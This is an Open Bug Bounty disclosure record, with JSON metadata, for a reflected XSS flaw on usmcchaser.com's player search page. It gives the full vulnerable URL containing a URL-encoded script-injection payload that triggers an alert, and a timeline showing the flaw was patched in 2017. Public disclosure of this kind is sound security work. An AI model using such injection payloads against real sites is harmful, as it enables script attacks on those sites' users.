Description
##### Vulnerable URL:
http://www.usmcchaser.com/ServerQuery/PlayerSearch.php?player_name=%22%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%2C80%2C79%2C83%2C69%2C68%29%29%3C%2FSCRIPT%3E&submit;_login=Search&min;=0&max;=30
##### Details:
Description| Value
---|---
Patched:| Yes, at 21.11.2017
Latest check for patch:| 21.11.2017 19:04 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| Unknown / Not calculated
Google Pagerank| 0
VIP website status:| No
Check usmcchaser.com SSL connection:| (Grade: F)
##### Coordinated Disclosure Timeline:
Description| Value
---|---
Vulnerability reported| 28 October, 2014 08:47 GMT
Vulnerability existence verified and confirmed| 28 October, 2014 08:50 GMT
Vulnerability patched by the website owner| 21 November, 2017 19:04 GMT
{"href": "https://www.openbugbounty.org/reports/52237/", "bulletinFamily": "bugbounty", "modified": "2017-11-21T19:04:00", "openbugbounty": {"mirror": "", "patchStatus": "patched"}, "title": "usmcchaser.com XSS vulnerability ", "cvss": {"vector": "NONE", "score": 0.0}, "cvelist": [], "description": "##### Vulnerable URL:\n \n \n http://www.usmcchaser.com/ServerQuery/PlayerSearch.php?player_name=%22%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%2C80%2C79%2C83%2C69%2C68%29%29%3C%2FSCRIPT%3E&submit;_login=Search&min;=0&max;=30\n \n\n##### Details:\n\nDescription| Value \n---|--- \nPatched:| Yes, at 21.11.2017 \nLatest check for patch:| 21.11.2017 19:04 GMT \nVulnerability type:| XSS \nVulnerability status:| Publicly disclosed \nAlexa Rank| Unknown / Not calculated \nGoogle Pagerank| 0 \nVIP website status:| No \nCheck usmcchaser.com SSL connection:| (Grade: F) \n \n##### Coordinated Disclosure Timeline:\n\nDescription| Value \n---|--- \nVulnerability reported| 28 October, 2014 08:47 GMT \nVulnerability existence verified and confirmed| 28 October, 2014 08:50 GMT \nVulnerability patched by the website owner| 21 November, 2017 19:04 GMT\n", "viewCount": 2, "published": "2014-10-28T08:47:00", "id": "OBB:52237", "enchantments_done": [], "type": "openbugbounty", "lastseen": "2017-11-22T22:13:48", "reporter": "en4rab", "enchantments": {"score": {"value": 0.0, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.0}, "references": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645269003}}
{}